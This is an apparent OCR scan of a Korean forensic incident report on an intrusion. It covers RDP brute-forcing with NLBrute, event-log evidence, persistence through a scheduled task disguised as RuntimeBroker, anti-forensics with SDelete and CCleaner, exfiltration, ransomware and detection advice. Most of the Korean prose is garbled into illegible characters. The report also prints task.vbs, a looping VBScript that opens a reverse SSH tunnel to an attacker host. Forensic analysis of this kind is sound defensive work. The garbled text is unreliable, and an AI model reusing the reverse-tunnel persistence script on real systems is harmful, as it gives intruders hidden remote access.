Ch. Cigh, 3ZX= Y SAEOM 0j0)kx S8 Sof 32|NS oL, Set I dMnoss Eesm =
SAEJL EXTICL olof] 32Xh= B7H AHEOIM NLBrute?t 22 RDP Brute-force A€ T7E 8310 CtE SAES
Moo= LS 0|32 AlTetct.
Bs] Hitler Love O x | @ NiBrute 1.2 — E
BRUTE  SETTINGS  WORK FILES | BRUTE @ SETTINGS | WORK FILES |
Mayx atternpts: |3 & Max attempts: 1 =
Thread count: |80 =3 Thread count: 20 2
Timeout: |15 : Timeout: hs =
Defauftport: | 3389 = [Default port: _3389 - |
Good format:  ER:PORT@DOMAINWUSER;PASEWORD] Good format: SERVER:PORT@OOMAINUSER;PASSWORD
CIVPN  [Ethemet2 | i Seneery checiing
Servers checking
(12 33] S3AXIL At8et =7(%), RDP EFE EA(NLBrute) =)
@ 2586 708 4128 @ 43f63le7. HE 2026- 20:21:19.9207482  Eventlog Security 4625 ﬁl’é‘.% EI25K RF|SLILH
@ 1377 408 1916 4  f4205bf2. HE 2026- 20:21:23.2151856  Eventlog Microsoft-Win. 261 F417| ROP-TcpO|(7t) HES ¥USLICH
@ 2587 708 4128 @ 43f63le7. HE 2026- 20:21:24.4750611  Eventlog Security 4625 ﬁﬁ’“‘ 228K RT|eUCH
@ 1378 408 1916 4  4208ed4.. TE 2026- 20:21:26.4789049  Eventlog Microsoft-Win.. 261 %417 ROP-TcpO|(7t) HES YASLICH
@ 2588 708 4128 @ 43f63le7. HE 2026- 20:21:27.9953272  Eventlog Security 4625 7{1‘;% 225K |
@ 1379 408 1916 4  £420f9b9. HE 2026- 20:21:29.5830983  Eventlog Microsoft-Win. 261 $417| ROP-TcpO|(7h) HES LUSLUICH
@ 2589 708 4128 @ 43f63le7. HE 2026- 20:21:30.7226120  Eventlog Security 4625 AFES RIA25X TSI
@ 1380 408 1916 4  4207df8. TE 2026- 20:21:33.3673037  Eventlog Microsoft-Win.. 261 $417| ROP-TcpOl(7t) HEE ASLICH
2I2s 4m3 AT
2ot ID:
AR 0|E:
I8 =0 oL
2z m=:
2F Ol%: 2 & s A% 0|2 B BRE 258 ASRUSLID
ALER: 0xC000006D
Shel Ef: 0xC0000064
ZEHA HE:
SEX Z2HA D 0x0
SEX ZZMA 0|2 -
HEQ3 ME:
UIAE0|M 0|5:
2L YEQI F:
[12 34] NLBrute & AECS| Ef2Il PC2l OJHIE 21
5) PTH(Pass-the-Hash): & H|ZH= gi0| EF et NTLM SHAIRICZ QIES St CHE AAR0 2ot FZHM MAE 33

7Eolct.

21




@ PLAIN3IT

SIEjZIE AT Al

22

Ct=Ch2le] A= 0] CHE ZAESO| Chiet ¥4 (RDP)OI d3%t SAX= S AHCE F HES AT
Timestamp “ Channel Eventl Summary
2026-| IT23:26:17.0746926  Microsoft-Window.. 131  A{H{0Af ESIO|NEZRE L
2026~ IT23:26:17.0767415  Microsoft-Window.. 261 $417| ROP-TcpOl(7t) FEE EUASLICH
2026- |T23:26:17.0881792  Microsoft-Window. 65  RDP-Tcp#127 FZEO0| BFUFSLICE
2026- \T23:26:17.0892233  Microsoft-Window.. 72 QIEHO|A HAMETH SFE (PrepareForAccept)
2026-| \T23:26:17.9892372  Microsoft-Window.. 72 QIEH 0|2 AEIF SEE (SendPolicyData)
2026-| \T23:26:17.0914823  Microsoft-Window.. 141 PerfCounter A430| QIAEA 1p 127(2)E A|RE.
2026-|  T23:26:30.1044347  Security 4776 ZFEEOAM AZL = ST0 GE =24 ZNEL
2026- |T23:26:30.1046525  Security 4672 B HTE A EI20| 2EHSLIC
2026-| IT23:26:30.1047653  Security 4624 AHBO| YERLE 2I2EUSLICE
(02 35] 917 eizo| 4&s AEe| EfZ PC OHIE 21
LHE 0o|s IHollM CH=ol HEX |PE Event ID 4625 3 46480| HFEXCo=Z LMsHH, Ol 0|0 HEE I2HMEZ
S HIY 4 ols SAESO| oif AR CHY BAS W 2z BMEch 12 2 9 mEHg 2| 9
Ha|st o|HIE 21 IHEolCt.
e OIEZT] Windows 7 Windows 10 Windows 2008 Windows 2012 Windows 2016
Security 22 : 0 (Logon type: 10) 22 :0 (Logon type: 3,7) | 22 : O (Logon type: 10) 22 : 0 (Logon type: 10) 272 : 0 (Logon type: 3, 10)
(ID : 4624) Remote IP: O Remote IP : O Remote IP : O Remote IP : O Remote IP : O
HMAF 29 LocalSessionManager 22 : 0 (Reconnection) 27 : O (Reconnection) 22 : O (Reconnection) 27 : 0 (Reconnection) 22 : O (Reconnection)
G = (ID: 25) Remote IP: O Remote IP : O Remote IP : O Remote IP : O Remote IP : O
RemoteSessionManager 27 :0 (Succ. Auth User) | 22 : O (Succ. Auth User) | 22 : O (Succ. Auth User) | 22 : O (Succ. Auth User) 22 : 0 (Succ. Auth User)
(ID: 1149) Remote IP: O Remote IP : O Remote IP : O Remote IP : O Remote IP : O
Security 27X 22 : X (Logon type: 3) 27 : X (Logon type: 3) 27 : X (Logon type: 3) 27 : X (Logon type: 3)
(id : 4625) B Remote IP : O Remote IP : X Remote IP : X Remote IP : O
37 Ay L.oc.alSessionManager 22X 2U:X 24:X 2YU:X 23:X
(2291 My | (4:29)
RemoteSessionManager 272 : 0 (TCP Connection) | 22Z : O (TCP Connection) | 22 : O (TCP Connection) | 22 : O (TCP Connection) 27 : 0 (TCP Connection)
(id : 261) Remote IP : X Remote IP : X Remote IP : X Remote IP : X Remote IP : X
Security 27 : 0 (Logon type: 10) 272 : 0 (Logon type: 3) 272 : 0 (Logon type: 10) 270 (Logon type: 10) 27 : 0 (Logon type: 3, 10)
(id : 4624) Remote IP : O Remote IP : O Remote IP : O Remote IP : O Remote IP: O
=4 43 LocalSessionManager . 27 : O (Reconnection) . 27 : O (Reconnection) .
(RO243) | (d:25) 2Y:X Remote IP : O 2y:X Remote IP : O 2d:X
RemoteSessionManager 22 : 0 (Succ. Auth User) | 22 : O (Succ. Auth User) | 22 : O (Succ. Auth User) | 22 : O (Succ. Auth User) | 22 : O (Succ. Auth User)
(id : 1149) Remote IP : O Remote IP : O Remote IP : O Remote IP : O Remote IP : O
[12] 36] &2 Windows HHE 2 AZ(RDP) dd =& i




SEfZ AR Al @ PLAIN3IT

5. X|&M gy

L2 olsat S8 Y4 0|, 3&X= MM ZELE AAHR THEE O|F0T 22 |XI6t7| s XI&H (Persistence)S
stesict XS54 =HolE XIAEZ| Run 7| 88, 22 MH[A MX| ot = (Scheduled Task) 55, Al T2
SE, DLL AIO|EERY & Ciet 2HHO| AMBEH, S3&Xt= EX| 20 &0 THHL QHEME o sit ojAtel dAlg
ZTefstot, X2 ARlolME o2k 2ol VBScriptE S23t1, siiEh AIZIET} Reverse SSH TunnelS RS2 PAMSH=
gAlo] F2 RIFEICE AIZE XM= HIAE mol2t I EIXIE mshy| &1, HEd F#710] 2=ote(0] HEYT tolM=
H4& SSH Efimint A2&(X| b=Ch= & DHEO[CL O] AIOME SUoH HEHS| X[&A HIF{L|FO0| IEICH

(1) ollef =A(Scheduled Task)2 O|8%t VBScript ¥ S

El A

S
=
=

X&M ote 22 0|2 Ztf(Scheduled Task) SZO0ICh 3ZXH= VBScript HE01E MAZ H{X[SH 7, A|AE
Ot s A3R-EI M RS MY 2AER0| SSeitt. dd A2E ZZEAHAF RuntimeBroker2 ¢

EE
504, Task Scheduler AH|A7} REl A0} task.vbsS MMSITS MFSICL =, X4 NAZIE 22 of
S20|H, ATZEIL 6= Reverse SSH Tunnel2 1 ZItZE HHEE[= M2 AfEolct,

19 qlo 4
2

Xt
A

.Path RegSz WRuntimeBroker BB-00-34-A5

Hash RegBinary E8-31-86-D4-DD-BD-00-E9-2C-30-27-F2-58-68-DA-39-7D-8D-. 2F-A5-66-B7
Schema RegDword 65540
URI RegSz WRuntimeBroker 57-01-78-C8... L B
Triggers RegBinary 17-00-00-00-00-00-00-00-00-E0-07-23-84-00-00-00-00-00-0...  64-A5-8D-AQ
» | Actions RegBinary iGBAUOAOCADO-OEIAGCM1~00A?S-00A7400‘68~00~6F400-72u00~66..|BC—GGJ‘?—OB...
| Dynamicinfo  RegBinary 03-00-00-00-A9-0D-54-AE-B6-95-DC-01-28-E4-C4-04-D6-C7-D...

Type viewer | Slack viewer

03 00 0C 00 00 00 41 00 75 00 74 00 68]J00 6F 00 72 00 66 66 00 00 00 s pAsugthe e rs TR
00 OE 00 00 00 77 00 73 00 63 00 72 00|69 00 70 00 74 00 42 00 00 00 ... ws. cor. i .o t. B ..
43 00 3A 00 5C UD 50 00 72 00 6F 00 67]00 72 00 61 00 6D 00 44 00 61 G s\ P r.o.g.r.a.m D a
00 74 00 61 00 5C 00 55 00 53 00 4F Q0lSdefl=p - e « b o WSO Shoas roes
64 00 5C 00 74 00 61 00 73 00 6B 00 2E 00 76 00 62 00 73 00 00 00 00 ci.“..:.a.s.k,..v‘b.s...‘

[22] 37] TaskCache HX|AEEZ| 8t Z|0A =HRI=l task.vbs Ib AlsH 12

(2) 585 A32EQ J|5 — Reverse SSH Tunnel

oot Q0| MBI task.vbsi VBScripte XISl WEolZ, Ljsol 22Xt Mol IPet AEZo| sfeagslof Quct,
A

Mol Al Hot HALIBS Palstel AIAH| 3t HlOI B2 si8sts HIY S22, B AE0IME taskvbs
THUO| O[0j| BHEIBICE ATBES MM Al SearchHostexeE SZd) BZHR Au{ WHOR SSH ofwel E{dS 22lsH,
012 S3i BTIE WokHo| OIBIRC XIEH AT PRGHH L5 AAHO| WHAE & It OF2HI2E SSH =

2017] mi2oll ZA T2l o E2fEat 257 ofFEL

Set objShell = CreateObject ("WScript.Shell")

Do
' Your code here
objShell.Run ' -p 443 -o StrictHostKeyChecking=no -o ServerAlivelnterval=60
-0 ServerAliveCountMax=99999 -N -R|; :22:1ocalhost:22||b! . 501",
WScript.Sleep 10000 ' Sleep 10 second to avoid high CPU

Loop

[12] 38] task.vbs LI & 8
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(3) 4 mY fIEs Set EX| 2m|

SAX= I-’—.ﬁ HiAHLIES BXIE XA *|9|7| Qe M 4 HMotg MY MU=z Ech:s LAS S AHETL
Ol= B9l ofMd HIO|HZIE HMZSIK| T 22|XR-2M7te] |2 HAS S £ A0, 22 AN H=EHoz 2t
Ele 7|t.'=10|Ef

O oY o 2F: task.vbsZt 6= SearchHost.exe= #ZX| A|AHIE H|0{Stz SSH Z2I0|HE ssh.exell
]1|.0E||:C)’4% tﬂ%:lzl‘i} A WlndOWS 74 AH 7|l—o| K AL JI§H|A0| SearchHost.exe= A|-xlo|-|:|- JIEA-”A 22002 KAb
7o a9t FEEX| Lo_Ef

® Y O|F F: ofof =AS RuntimeBrokergts HA AAHR D2MAHO=Z SEI, Y AHEYH =M
o|4 AFOE QIMEX] AEE BICt

© ¥4 [E2E[(LOLBIn)2l &&: E{ZZol| AI8E SSH S2i0|HELE Windowsol 7|2 Z3tE FA Z2IMo|m=2
SHA EFX| CHAO| O, AFRIE o 2 314 Q40! wscript.exeZ AIMEICEH

kA, O[2{gt @& M2 MAHE-TZMAH J|Fo MZACE= AlHO| OfEL, Y2 Z=Ee CIXE ME AT, A QIXt
(Command Line) 24, ORHIRE HZ CHA =tolg Halisiof EX|E & UC
"B SearchHost.exe 274 X
2 gt 2=d [XE AMZB EO AtMS] o HH
= A 7
i I~ BA
A4 H
= O
oz =23
=3 22 ==
org 8¢ 7.7.21
HE 0|2 |OpenSSH for Windows
HE H7F |OpenSSH 7.7p1 for Windows

[d2] 39] SearchHost.exe It HH(ssh.exe)
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HEEE At AR

6. QIE|IaIA

SH AAHI0| CHet SHQF Clo|E &EE ORE SAXHE, T AMMe| BIXIE X[HAI7|1 Atz M Walistr| fIs] Xiile|
s =XZ2 Motz QtE|ZEA(Anti-Forensics)g &SICt O] CTHA|O] 52 Gt MU AX|7} ofL|zt, AMEE 54
EMY MY ol™.20 S2 MAHM At 2Ad % ZAX FHO| =E2 F= o UL =X HHE 2l
SDelete?t CCleaner?t AF2El M&o| =olEICt,

(1) SDelete(Secure Delete)

SAX= SDelete(Secure Delete)E 0[&83f 34 1gollA A HMEl mAS o AlK|(Secure Delete)Strt.
SDelete= Sysinternals Age| MAl REZ|E|Z, TIUS Tk AX[SH= 20| OHL|2} Y H|O|E7F MEEJE ClA3 BIS
X|™El THEHOZ oM (overwrite) Tt FIEl(File Carving) S YEHAHQI 23 J|HOEE 22 HO|HE E[&E £ Q=
DHELCE 0|2 Soff 34Xts M THAOIM AtESH ot A& AdASESl, Je(dd B3 £, EHX O, AHOIH-REE

Ot7I0|E & SXE HH3Io 240l =28 ZECh

_]Nan':‘i ud.di
L] et
« | Neacioud.log

NextCloud msh
1ea DAt

sdexe

ZLFIT

= Volume | [ Fle | [®Preview | T Detalls 1@ Gallery B cC
[Data from the Vohume Snapsh
';hlm‘e- - Eu.exe !
[3F 401 AMEE AE|XLA E SDelete(sd.exe)
(2) CCleaner
CCleanerS AtE3I0{ AJAH HMultof| £XEl AL XS FE2|BC} CCleaner= 22l A|AH XXMlE =XO=Z sh= HY
TFOLE, YAl o, B2t FHAlSIAEE|, HZ HA FF, Z2|HX|(Prefetch), Z4E SEZZIH ME 7|E S AHEXt
YIS YRS O BBES Cho| OEMES Y AW 4 Q0| OHEEHLY SHOR AFEHCL ITAXIE 02 Sof
=AY ol oY 2 28 S A9l Vg BAHE FHURASH MAL2ZM, SDelete®] JHE T AHE AA” +FQ
=M ez Heist Aoz MLt
% 1D B % 0|2 azs e
590aee7bdd69b59b Windows Powershell 5.0 64-bit C:\Users\Administrator\AppData\Roaming\Mic
5d696d521de238c3 Chrome 9.0.597.84 / 12.0.742.100 / 13.0.785.215 /26  C:\Program Files\Google\Chrome\Application'¢
5d696d521de238c3 Chrome 9.0.597.84 / 12.0.742.100 / 13.0.785.215 /26  C:\Program Files\Google\Chrome\Application\
28c8b86deab549al  Internet Explorer 8 / 9/ 10 (32-bit) C:\Program Files\Internet Explorer\iexplore.exe
590aee7bdd69b59b Windows Powershell 5.0 64-bit CAWindows\System32\WindowsPowerShell\v1,
28c8b86deab549a1  Internet Explorer 8 / 9 / 10 (32-bit) C:\Program Files\Internet Explorer\iexplore.exe
cccOfa1b9f86f7b3 CCleaner 5.15.5513 64-bit C:\Program Files\CCleaner\CCleanert4.exe
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AEHEZE2 =25% OE 2= oY REY 37N ZHe|, £ ZZMEFZS AR Xgstn O pdeiel EHE sis
il BMY 30|t [EFEH‘I X HE 0|29 HE I A RARH ZH S@FEChs, BY ZX0| 2R S ARt
O|Lt HEE A= HEN ot AM FsHALROM fIEHEE 7|8 SH0| EES= AE SHs I3 Sy J|g
CIOIE S, &Al ZAl H|A -_rl?-‘;, MH|A Ofd] g h'l'—l AMAR MA SEO| Y| JHX| FHQ= LIEHICH SH 2 B
= 9N BE CH(EHX HE > ot 45 > F2Hd =HE 5 LR 0|F > XI&Y )7} X|ehe ZAE0|H, o] AlE
o A7t MH msiel dAut #2E ZFt ORfdM= @ dl 7KK 2dE XHZE F2l5tn, 2F S=0lM Atnel Hbl
e 2este K-S M MAlStt.

(1) A 7|2 OIo|E| EHF(RZ=) (Data Exfiltration)

BME SH0|M T BIHEHH| 2EE= RAEQE, O/ ALNOMT Reverse SSH Tunnel0O|2t= REF ZZ27¢ =EE
MEfolCt. ZZ0| ERSt 11R9 Jlg A, 1M HE S FMAH-HEH It =2 C0|HE TSI RE [ESH=
ot HIojE fE2 1 ANZ 2EXQl HSiE LMAIZ & OfL|2t, 0|F e (Double Extortion)2| el w=HiOZT
2EE7| wEof =2 HSHAILIOM ZhE BIHE| 2HEEl= 2T SZO|C}

- LERIER-URSS

34%E /E AS MEsH| s iR oY MHLE PC LHOlM £ F|IE(: ‘7|2, 'Theld]', 'Her "HAE" §)
7t ZetEl EMLE §F 2EXH.docx, .pdf, .dwg, .xIsx S)E ZAMstct. 0] IpHOM CHEFS| MY A|ARIES &=3[5HH

SE9Iets 30| #tEH, £HE Co[E=E /& a1 24E ?ld YH(RAR7z-ZIP)=|1, BX| LS 23l &=

2 MFOIILL HURS STt LIt Bk,

b CHiE.eY 9%
EBfm 0|4l EIX|(THEE OFRHIRE H&)E m3ty| Qs ZHRL= Bt ol cHzel CIOIEIS M&SHK| ofm Azoz B
SIALE ORZFET S mUEZ0] LA AlZHEE ol

mjo
lok

F

00
Ot
rir

Channel)2 b=ol, HTTPS-DNS E{gzl XA 22 AEZ|X|(0: OY Z{ MH|A)ZO| JRE EE=
Reverse SSH TunnelZl Z2 ¢St xdE8 ERstH 25 C2 AMHE MAsICt 0] 22 R Ezfmio] MA

ot St FEE|X| kot BX|7F oEL.

fl

(2) AAl ZAl HA = (Persistence Surveillance)

=7t Hi= 34 B0 FEEXlE |ECR, 7| X&d HIZILIZ0| 2QlEl O Atunet dZH0| Refetrt £F AEe
CIOIE &7t OF:l, &7|Ztoll 22X =X LR &S X&Ho= ZLE-SsH= HAOICL F2H IBHE |LUSHA g
2gee 2RMeZ 57| Wz, It iz APTS HE =X 2S0|lM £3] FE2ZIC
> HAZE BLIEE
T2 QAHYUY, AL IHY EHEXL, AAHE 22Xt 5)° PCOl 7|27 (Keylogger)Lt 2 X 3, OHO|3-2AH
HZ ZES X5t 2AZt AR U 3 Si LS #TsCh #TE HEE FIIHCZ YUX-ATlE 0 C22
HEEH, ojHY-HMM-BEM 2 LHE S =29 QAMEY FEE X&SHQZ =Esh: o &8It
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(3) AMH|A oOpH| ! ma| (Disruption & Destruction)

=

'FJ%EF HE RES 9o A2 IS FXAAH YR OHIE |RESHLE HOIHE mhash= HHAO|Lt. STH oS
=t OE SHOR o= 34 FA ZFOIAM 2HEEH, X9 It mEirt 7tg 2 |fYOolCt

> CIOJE AR 81 8F #Hx
HIO|E{H|O|A(DB)E AMSHALE A|A” HF MUS HXSIH MH[A FOHE FAUTICE 53 =7 Z2HAE Loish|
Pl WY mUn =25 ME SARE(VSS)THR| mM7fsh= 20| HEHel EFo|H, R FHS miush= ofo|m HWE{ R

LIEtE B2, CIO[E{# OfL|2t A|A” XHHIE AL 2522 RHEL,

» 2HM9)|0{(Ransomware)
MH|A O[O /Y § 2= thatol Hjo|HE
LIS A ESCE TIE Fl 57 H7HFE Y=IH)E a+-guiste AHIER, o= the Y=2E o
CHokA| et X2 0EolE|RICh HHALD S 2HE0IM HMAO HAH2 i S| Opx|t

OFH E(RIE-HE-ABt N5-RE)S LoiLt

e
N
0
re
rE
_o'_l-
kl
=
il
qu
o
rlu
N
o
P
0x
)
2
e
0x
)
2
rr
ofy
fo
Rl
n F

rrl
p
2

Sxlstaz, O

B
N
=2

gm
ﬁ
_'r'
_,l:
]
H
els
4]
H
1]
l-?_l
40
_Qt
il

(4) H2[xt Mot SHHE Eot A|A”H A HO (Full Control)

o

Tojol AEZa(DC)Lt B Ba| MHES molstol XX Mol IT olmats Fofsts TAlolch e e metg dof
=

o
ZZ THE SHl Yz ME=ChE HoilM, olF9 iR DhHiE 3HS 9Igt 2To| Eoh

[

> A™ HA et
Active Directory(AD) AH{2| EZt2|X} A|H(Domain Admin) == KRBTGT AHHEEZ EFSIH, ZE AEX} A™ES

o

MM 2™ MHStAHLL HEtS o HASICE 3] KRBTGT SHAIE 223t ZAL Golden TicketS IEsHo] AMalA

=2 o

0.

o
Zleh-TRetel EHQl I oS HEY + ACH, ol Y AFE A5 FE0| o2 7| HF2 7|Ho|

S ==
C}.

rii 40

> Y HIZE HA 4E

ATE0] HHE ME(G: WSUS, SCCM/Intune, XHM2E|-#iil 22| M S)& FAso], FHd LH0|E MAOIL; HHE
I7|X|of| SfYFES MU =2 W 2= TR LXs| Mofsl= LR S8 SAH (2% 383 33)2 sdeltt

k

[=] —1
e =]
Of YA2 M2|El HiE FZEE A8ot7| W20l TAZH| Fyelet ZEE &+
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plle:]
(==

ths

(2)

N2
Rl
IS
0z
i
i
N2
Jo
i
un
0%
g
N
i
X

ok mel Y A 1K
2 Ao Al @S MEUE| Hot ZROo| 8 IS MY NS Sof OlRofECt MHUE IO Y ©

[
e

Az HeteA-Z22{020-2SHAel 2T F Ao ofFESIEZ, 2IMME ofL2t Hatex o HEtRXIt 2ES=
MEDHE| RE(TAME-Het Q1T 203, 0|00 E2132 S)7Hx| Zgfet S8 WX 22| HAIS 2FsHoF sict.
£5| =L 2HFol|lM ZHRASH| HiEE= @ 2ohelE Z=IHR

o
7O F|of HTS HAl AEot ZH| AiSs EAIH BRI

>

tS YHOIETL X|HEl= BRIt BOf, Ridt QIHIES

o

mujn

e

23t MEDIE| ATESQ0| %A%}
IRX7t 2Est= ZE{OQl.etxhAlx Dz e 1 XH|2 2Z HH(Attack Surface)o| EICt
=]

0
=
Ol MEME| RES M st, B4 ZE2 SI0|EZAER FHSIH SAXIL A8 + U= FY XFS Ao

[T o

r

Jm
i
o
n

L

WEfR Y HReR 2ot Y3

ZEA|E0 HOIERIOloIA ok ASBIEE|ClolHM THolS KiTtt, I QIMalMA ISE HSsio] 2T

[

=
i ZAO|E-AZZSl 21 elmato] chet HMZS SHeiCh HEteX ZHoM= A3EE Y I Zs, U

22X KX, AIO|E AHzZ|(Site Isolation) 7|5 HE S2 WAL

[T o* [®
ok

BX| (Detection) — HF =7| A&

AE=ZOIE EIX|-LHS(EDR) =9
Ze2 E2fo|H Hio| CHREE, ™A DEMA QIMM.A|EZE(E AtE[el 2b4 DLL), mie|A A3 S
Q| J[9toZ LIEHACE ATL[A 7[gF BMOIOZR = SHA7f JOOZ HZAA MM ZHAH|FHA XA T2MA.
A

H22| QAHMME EBX|SH= EDRE T{5t0] &Y Xz HE EAsHof Sict.

el OIEIHE AA| ZL|EY

2 AoiM =RIE HE cH" XEE EX| [XeE 2Jfich CHEXoE Jst A& AZ(0ME ID
4672/4673/4674, 3|2 E2I0|H ZEE), LSASS Z=M|A0| Cit H|™EA HZ(Sysmon O[HIE ID 10), of|2f Zdo|
HIMAN SE(TaskCache HIX|AEZ| HZA HAF ZZMAH QIFh, 12|11 OpenSSH AMX|-gisiH o] et e

XI&M M die(zt olof sHESiCt.
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(3) Ols =ik %|A3} (Containment) —
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(4) thie Y 23 (Response & Recovery)
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